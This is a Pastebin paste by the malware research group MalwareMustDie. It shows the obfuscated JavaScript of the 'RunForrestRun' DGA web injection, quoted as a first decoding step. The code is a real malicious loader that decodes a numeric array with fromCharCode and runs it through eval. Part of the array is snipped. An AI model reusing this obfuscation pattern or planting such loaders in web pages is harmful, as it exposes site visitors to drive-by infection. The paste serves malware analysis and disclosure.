MalwareMustDie

DGA (PseudoRandom Domain) RunForrestRun, Decoding 1st Step

Nov 2nd, 2013
469
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // MalwareMustDie
  2. // DGA (PseudoRandom Domain) RunForrestRun, New Obfuscation
  3. // Decoding step 1 @unixfreaxjp /malware/checkdomains]$ date
  4. // Sat Nov  2 19:00:15 JST 2013
  5.  
  6. try {
  7.   prototype % 2;
  8. }
  9. catch (asd){
  10.   x = 2;
  11. }
  12. try {
  13.   q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l"+ "e" + "m" + ((f) ?   "e" + "n" + "t" : "")]("p");
  14.   q.appendChild(q + "");
  15. }
  16. catch (fwbewe){
  17.   i = 0;
  18.   try {
  19.     prototype * 5;
  20.   }
  21.   catch (z){
  22.     fr = "fromChar";
  23.     f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660,
  24.     500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160,
  25.     708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606,
  26.     500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590,
  27.     582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600,
  28.     160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485,
  29.     684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252,
  30.     160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525,
  31.     354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288,
  32.     205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575,
  33.     606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750,
  34.     160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580,
  35.  
  36.              (((( SNIPPED FOR SECURITY PURPOSE ))))
  37.  
  38.     485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585,
  39.     660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192,
  40.     50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545,
  41.     276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288,
  42.     560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160,
  43.     192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624,
  44.     580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160,
  45.     192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606,
  46.     230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525,
  47.     600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192,
  48.     160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230,
  49.     582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246,
  50.     295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594
  51.     , 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205,
  52.     354];
  53.     v = "eva";
  54.   }
  55.   if (v)e = window[v + "l"];
  56.   w = f;
  57.   s = [];
  58.   r = String;
  59.   z = ((e) ? "Code" : "");
  60.   for (;
  61.   1776 - 5 + 5 > i; i += 1){
  62.     j = i;
  63.     if (e)s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
  64.   }
  65.   if (f)e(s);
  66. }
  67.  
  68. //-----
  69. // #MalwareMustDie!! @unixfreaxjp
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×